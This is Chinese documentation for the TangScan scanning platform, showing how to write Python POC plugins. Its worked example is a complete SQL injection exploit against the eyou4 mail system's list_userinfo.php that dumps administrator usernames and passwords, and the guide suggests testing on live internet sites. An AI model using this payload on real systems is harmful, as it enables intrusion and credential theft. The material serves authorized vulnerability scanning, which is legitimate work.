欢迎来到TangScan的文档!

TangScan (唐朝扫描器)是一款在线安全漏洞检测服务, 一个由众多安全研究人员维护的企业在线安全体检平台。

安全研究人员可以根据自己的经验编写合适的安全扫描策略, 按照我们支持的开发标准编写出对应的安全检测插件, 我们鼓励安全研究人员之间分享漏洞分析, 代码开发的相关技术以获得更好的技术提升, 同时我们将根据插件扫描的结果对安全研究人员进行分成奖励。

企业可以付费使用 TangScan 对自己的企业网络进行授权的安全漏洞检测以发现潜藏在网络里的重要安全问题, 我们将对企业的身份进行严格的限制同时企业需要为漏洞扫描的结果进行付费以支持我们的持续运营。

目录

快速入门

简介

该文档能够帮助您快速的理解 TangScan 中 POC 的格式, 以及编写一个简单完整的 POC , 下面就让我们开始这一段旅程。

环境配置

工欲善其事必先利其器, 在开发 POC 之前, 首先应该把环境搭建起来。

  1. POC 由 python 编写, 所以 python 也是必不可少的, python下载地址

  2. 下载地址

    $ git clone https://github.com/wooyun/TangScan.git
    

    或者点击 下载

  3. 进入编写 POC 的工作目录

    cd TangScan/tangscan
    
  4. 希望POC编写者能够遵循 python pep8 规范

编写POC

下面我们以 http://www.wooyun.org/bugs/wooyun-2014-058014 中的 eyou4 的 /php/bill/list_userinfo.php 注入为例子, 开始编写这个漏洞的 POC 。

导入
1
2
3
4
5
6
7
8
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import re
import hashlib

from thirdparty import requests
from modules.exploit import TSExploit

代码解释:

line 4: 为了能够匹配网页内容, 我们需要import re
line 5: 为了能够计算md5,我们需要import hashlib
line 7: TangScan 还自带了一些比较好用的第三方库, 在这里我们import requests来处理http请求
line 8: 编写TangScan POC不可缺少的一个类 TSExploit
定义TangScan类
1
2
class TangScan(TSExploit):
    ... ...

代码解释:

line 1: 定义TangScan类, 并且继承于TSExploit
填写漏洞信息
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def __init__(self):
    super(self.__class__, self).__init__()
    self.info = {
        "name": "eyou4 list_userinfo.php sql 注入漏洞",  # POC 的名称
        "product": "eyou",  # POC 所针对的应用, 在 tangscan 主页上展示出所有的应用
                            # 名称必须和 tangscan 主页上的一致(大小写敏感)
        "product_version": "4",  # 应用版本号
        "desc": """
            eyou4 邮件系统中 /php/bill/list_userinfo.php 中的 cp 参数存在注入
        """,  # 漏洞描述
        "license": self.license.TS,  # POC 的版权信息
        "author": ["wooyun"],  # POC 编写者
        "ref": [
            {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-058014"},  # 乌云案例链接
        ],
        "type": self.type.sql_injection,  # 漏洞类型, 在详细介绍中列举了所有 POC 的类型
        "severity": self.severity.medium,  # 漏洞的危害等级, 在详细介绍中列举了所有 POC 的危害等级
        "privileged": False,  # 是否需要登录
        "disclosure_date": "2014-07-23",  # 漏洞的公布时间
        "create_date": "2014-09-23",  # POC创建时间
    }

代码解释:

line 1: 定义TangScan中 __init__ 方法
line 2: 调用父类 __init__ 方法
line 3: 定义 info 属性, info 是 python 中一个字典类型
line 10: 选择POC的版权信息, 在 self.license 中已经定义了几种license
line 15: 漏洞类型, 在 self.type 中已经定义了几种type
注册POC所需选项

然后继续在 __init__ 方法下继续调用 register_option 方法, 该方法用于注册 POC 所需参数。

1
2
3
4
5
6
7
8
9
    self.register_option({
        "url": {
            "default": "",
            "required": True,
            "choices": [],
            "convert": self.convert.url_field,
            "desc": "target url"
        }
    })

代码解释:

line 1: 调用 regsiter_option 方法注册所需参数
line 2: 我们所需的参数是 url
line 3: 设置参数 url 的默认值为 ""
line 4: 设置参数 url 是否是必要参数
line 5: 设置参数 url 的可选值, []为无可选值
line 6: 设置参数 url 的类型, TangScan会判断以及自动将参数url转成POC中的url类型
        例如: www.example.com 转换成 http://www.example.com
line 7: 设置参数 url 的描述, 这会在帮助中显示

另外需要注意的是在 verify 中只能使用 url 或者 hostport 选项。

也就是说, register_option 必须注册 url :

1
2
3
4
5
6
7
8
9
    self.register_option({
        "url": {
            "default": "",
            "required": True,
            "choices": [],
            "convert": self.convert.url_field,
            "desc": "target url"
        }
    })

或者 注册 hostport:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    self.register_option({
        "host": {
            "default": "",
            "required": True,
            "choices": [],
            "convert": self.convert.str_field,
            "desc": "target host"
        },
        "port": {
            "default": "27017",
            "required": False,
            "choices": [],
            "convert": self.convert.int_field,
            "desc": "port number"
        }
    })

而且, 除了 hostport 参数, 其他参数必须将 required 设置为 False

注册POC所返回的结果

然后继续在 __init__ 方法下继续调用 register_result 方法, 该方法用于注册 POC 所返回的结果。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    self.register_result({
        "status": False,
        "data": {
            "user_info": {
                "username": "",
                "password": ""
            }
        },
        "description": "",
        "error": ""
    })

代码解释:

line 1: 调用 register_result 方法注册POC返回结果
line 2: POC 的成功失败状态, 必须
line 3: POC 返回数据的存放处,必须名为 data, 而且data中的键都在 数据返回表 中已定义
line 4: POC 的exploit模式将返回管理员用户名密码, 所以data下填写user_info
line 5: POC 将返回 user_info 的 username
line 6: POC 将返回 user_info 的 password
ilne 9: POC 返回对人类可读性良好的信息, 最终会直接显示在漏洞报表中
line 10: POC 执行失败或者异常的原因
定义verify方法

经过上面一些步骤, 我们已经填写好了 POC 的相关信息, 定义了输入和输出, 下面我们就来到了 POC 中一个极为重要的执行体 verify 方法。 verify 顾名思义, 仅做验证目标网站是否存在漏洞, 不应存在恶意攻击行为, 不应该使用waf敏感的函数, 例如 mysql 中的 load_fileinto outfile 等。 verify 方法中只能使用 url 或者 hostport 做组合 两种类型作为输入参数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def verify(self):
    self.print_debug("verify start")

    re_version_pattern = re.compile(r'~~~(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    cookies = {'cookie': 'admin'}
    exp_url = ("{domain}/php/bill/list_userinfo.php?domain=fatezero.org&ok=1&cp=1 union "
               "select concat(0x7e7e7e,@@version,0x7e7e7e),2,3,4,5%23".format(domain=self.option.url))

    try:
        response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
    except Exception, e:
        self.result.error = str(e)
        return

    re_result = re_version_pattern.findall(response.content)
    if len(re_result) == 0:
        self.result.status = False
        return

    self.result.status = True
    self.result.data.db_info.version = re_result[0]
    self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
        url=self.option.url,
        db_version=re_result[0]
    )

代码解释:

line 1: 定义 verify 方法
line 2: 调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
line 7: self.option.url 就是我们所定义输入的 url , 在这里可以获取用户在命令行输入的 url
        例如: 使用 self.option.xxx 就可以获取在命令行输入的 xxx 的值
line 20: self.result.status 就是我们所定义输出的 status, 检测目标url存在漏洞, 设置 self.result.status = True
        例如: 使用 self.result.xxx 就可以获取或设置result 的结果
line 22: 设置 result.description, 最终会在报表中直接显示
定义exploit方法

经过上一步, 我们完成了 verify 方法的实现, 下面我们继续实现 exploit 方法。 exploit 方法带着攻击意图, 为了获取管理员信息, 直接获取服务器权限等, 能够方便的让安全服务人员使用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def exploit(self):
    self.print_debug("exploit start")

    re_userinfo_pattern = re.compile(r'~~~(\w+?)\|\|\|(\w+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    cookies = {'cookie': 'admin'}
    exp_url = ("{domain}/php/bill/list_userinfo.php?domain=fatezero.org&ok=1&cp=1 union select concat(0x7e7e7e,"
               "oid,0x7c7c7c,password,0x7e7e7e),2,3,4,5 from admininfo%23".format(domain=self.option.url))

    try:
        response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
    except Exception, e:
        self.result.error = str(e)
        return

    re_result = re_userinfo_pattern.findall(response.content)
    if len(re_result) == 0:
        self.result.status = False
        return

    self.result.status = True
    self.result.data.user_info.username = re_result[0][0]
    self.result.data.user_info.password = re_result[0][1]
    self.result.description = "目标 {url} 存在sql注入, 目标管理员用户: {username}, 密码: {password}".format(
        url=self.option.url,
        username=self.result.data.user_info.username,
        password=self.result.data.user_info.password
    )

代码解释:

line 1: 定义 exploit 方法
line 2: 调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
line 4: 建立获取user_info的正则表达式, 建议在敏感信息周边加上特殊符号以便于正则获取, 也可以大程度减少误报
line 15: 使用正则获取html页面中的信息
line 20: 获取到敏感信息之后, 将status设置为 True
line 21: 通过self.result.data.user_info.username = re_result[0][0] 可以很简单的设置结果中的username
line 22: 通过self.resutl.data.user_info.password = re_result[0][1] 可以很简单的设置结果中的password

如果 exploitverify 一样, 那么可以简单的这样做。

1
2
3
4
5
6
def verify(self):
    # some code
    # ... ...

def exploit(self):
    self.verify()
main入口

终于到了这一步, 我们只要简单的将这3行代码放到文件的最底处即可。

1
2
3
if __name__ == '__main__':
    from modules.main import main
    main(TangScan())

代码解释:

line 2: 导入 main 函数
line 3: 执行 main 函数, 以TangScan的一个实例为参数

到这里, 我们完完整整的实现了一个POC, 带有verify模式和exploit模式的POC, 完整代码在 github

执行POC

帮助信息

执行POC前, 我们先看一下POC的帮助信息。

$ python eyou4_list_userinfo_sql_injection.py -h
usage: eyou4_list_userinfo_sql_injection.py [-h] [--debug]
                                            [--mode {verify,exploit}] --url
                                            URL

optional arguments:
  -h, --help            show this help message and exit
  --debug               显示测试信息
  --mode {verify,exploit}
                        POC 执行模式, default: verify [str_filed]
  --url URL             目标 url [url_field]

上面我们可以看到 -h 帮助参数, --debug 调试参数, --mode 执行模式, --url 目标url 。 其中 -h --debug --mode 都是系统附加, --url 是我们 POC 自己定义, 并且从上面信息可以看到 url 参数类型是 url_field

执行信息

好了, 写了那么久, 总应该执行看一下效果了

$ python eyou4_list_userinfo_sql_injection.py --url http://www.target.com --mode exploit
[POC 编写者]
    ['wooyun']
[风险]
    目标 http://www.target.com 存在 eyou4 list_userinfo.php sql 注入漏洞
[详细说明]
    eyou4 邮件系统中 /php/bill/list_userinfo.php 中的 cp 参数存在注入
[程序返回]
    目标 http://www.target.com 存在sql注入, 用户: admin, 密码: password
[危害等级][漏洞类别]
    注入
[相关引用]
    * 乌云案例: http://www.wooyun.org/bugs/wooyun-2014-058014

攻击模式执行成功!!! 我们获取到了目标网站的管理员账号密码。

提交POC

既然都那么辛苦的写完了, 为什么不去提交一下呢? 在提交前希望能在互联网上找到几个实际例子进行测试, 确认 POC 没有误报的情况。

提交地址: http://www.tangscan.com/

详细介绍

基本结构

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
class TangScan(TSExploit):
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            ... ...
        }

        self.register_option({
            ... ...
        })

        self.register_result({
            ... ...
        })

    def verify(self):
        pass

    def exploit(self):
        pass

结构说明:

1. 在 POC 中需定义名为 TangScan 的类, 而且必须继承于 TSExploit
2. 需要填写info属性
3. 调用 register_option 方法注册参数
4. 调用 register_result 方法注册返回结果
5. 定义 verify 方法
6. 定义 exploit 方法

以上一个合法的 POC 需要实现的内容。

info属性说明

TangScan 中的info属性是一个python的dict,info中的每个字段如下表,虽然有些字段是非必须的,但是还是强烈建议填写所有字段。

必须/可选 类型 默认
name POC 名称 必须 string “”
product 应用名称 必须 string “”
product_version 应用版本号 必须 string “”
desc POC 描述 可选 string “”
license POC 版权信息 可选 系统定义 self.license.TS
author POC 编写者 可选 list []
ref POC 相关引用 可选 list []
type 漏洞类型 必须 系统定义 None
severity 漏洞危害等级 必须 系统定义 low
privileged 是否需要认证 可选 bool False
disclosure_date 漏洞公开日期 可选 string “”
create_date POC 创建日期 可选 string “”
license

license 表示 POC 的版权信息,使用 self.license.xxx 进行访问

TS TangScan协议
MIT MIT协议
BSD BSD协议
GPL GPL协议
LGPL LGPL协议
APACHE APACHE协议
type

type 表示 POC 的类型,使用 self.type.xxx 进行访问

injection 注入(sql注入, 命令注入, xpath注入等)
xss xss跨站脚本攻击
xxe xml外部实体攻击
file_upload 任意文件上传
file_operation 任意文件操作
file_traversal 目录遍历
rce 远程命令/代码执行
lfi 本地文件包含
rfi 远程文件包含
info_leak 信息泄漏(phpinfo信息, 爆路径等)
misconfiguration 错误配置
other 其他
severity

severity 表示 漏洞等级,使用 self.severity.xxx 进行访问

high
medium
low

register_option 方法说明

使用 register_option 方法来注册 POC 的相关参数, register_option 方法的参数为一个 python 的 dict, 这个 dict 的 key 为用户输入的参数名, value 是一个 python 的 dict, 用于描述用户输入的参数, 其中每个字段如下表, 还是强烈建议填写所有字段。

必须/可选 类型 默认
default 参数默认值 可选 string “”
required 参数是否必须 可选 bool False
choices 参数值的可选列表 可选 list []
convert 参数类型 可选 系统定义 self.convert.str_field
desc 参数描述 可选 string “”
convert

convert 将用于转换输入的数据,使用 self.convert.xxx_field 进行转换。

int_field 转换成整形
str_field 转成字符串
bool_field 转成bool类型
json_field 转成json类型
url_field 转成url类型
email_field 检测是否是email类型

需要注意的是: POC 必须注册 url 参数 或者 hostport 参数。

注册 url 参数:

1
2
3
4
5
6
7
8
9
    self.register_option({
        "url": {
            "default": "",
            "required": True,
            "choices": [],
            "convert": self.convert.url_field,
            "desc": "target url"
        }
    })

注册 hostport 参数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    self.register_option({
        "host": {
            "default": "",
            "required": True,
            "choices": [],
            "convert": self.convert.str_field,
            "desc": "target host"
        },
        "port": {
            "default": "27017",
            "required": False,
            "choices": [],
            "convert": self.convert.int_field,
            "desc": "port number"
        }
    })

register_result 方法说明

使用 register_result 函数来注册返回结果, register_result 函数的参数为一个 python 的 dict, 这个 dict 的 key 固定如下表。

必须/可选 类型 默认
status 是否存在漏洞 必须 bool False
data POC返回的数据 必须 dict {}
description POC返回可读性良好的数据, 将直接显示在扫描报表中 必须 string “”
error POC失败原因 必须 string “”

上表中的data字段的value是一个python的dict, data 可以包含下面这些字段。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 {
     "db_info": {
         "version": "数据库版本信息",
         "db_name": "数据库名",
         "tb_prefix": "表前缀",
         "username": "数据库用户名",
         "password": "数据库密码"
     },
     "sh_info": {
         "url": "webshell的url地址",
         "content": "webshell的内容",
         "password": "webshell的密码"
     },
     "file_info": {
         "url": "文件url",
         "content": "文件内容"
     },
     "user_info": {
         "username": "用户名",
         "password": "用户密码",
         "salt": "盐"
     },
     "cmd_info": {
         "cmd": "执行的命令",
         "output": "命令的输出"
     },
     "service_info": {
         "name": "服务名称",
         "username": "用户名",
         "password": "密码"
     },
     "verify_info": {
         "自定义键": "自定义值"
     }
 }

按照需求在 data 中填写上述字段, 如果已定义的字段没有符合实际情况, 可以在 verify_info 中自定义键值。

verify 和 exploit 方法说明

verifyexploit 方法中:

1. verify 方法只能使用 self.option.url 或者  self.option.host 和 self.option.port
2. 使用 self.option.xxx 来获取 xxx 的值
3. 使用 self.result.status 设置 verify 的运行状态
4. 使用 self.result.data.xxx.yyy 设置 运行结果,
   例如: self.result.data.cmd_info.output = 'test' 设置运行结果

TangScan 协议

模版

为了节省重复工作而提供的模版。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from modules.exploit import TSExploit


class TangScan(TSExploit):
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "",
            "product": "",
            "product_version": "",
            "desc": """

            """,
            "license": self.license.TS,
            "author": [""],
            "ref": [
                {self.ref.wooyun: ""},
            ],
            "type": self.type.sql_injection,
            "severity": self.severity.medium,
            "privileged": False,
            "disclosure_date": "2014-09-17",
            "create_date": "2014-09-17",
        }

        self.register_option({
            "url": {
                "default": "",
                "required": True,
                "choices": [],
                "convert": self.convert.url_field,
                "desc": "目标 url"
            },

            "host": {
                "default": "",
                "required": True,
                "choices": [],
                "convert": self.convert.str_field,
                "desc": "目标 host"
            },
            "port": {
                "default": "",
                "required": False,
                "choices": [],
                "convert": self.convert.int_field,
                "desc": "端口"
            }
        })

        self.register_result({
            "status": False,
            "data": {

            },
            "description": "",
            "error": ""
        })

    def verify(self):
        pass

    def exploit(self):
        pass


if __name__ == '__main__':
    from modules.main import main
    main(TangScan())

未来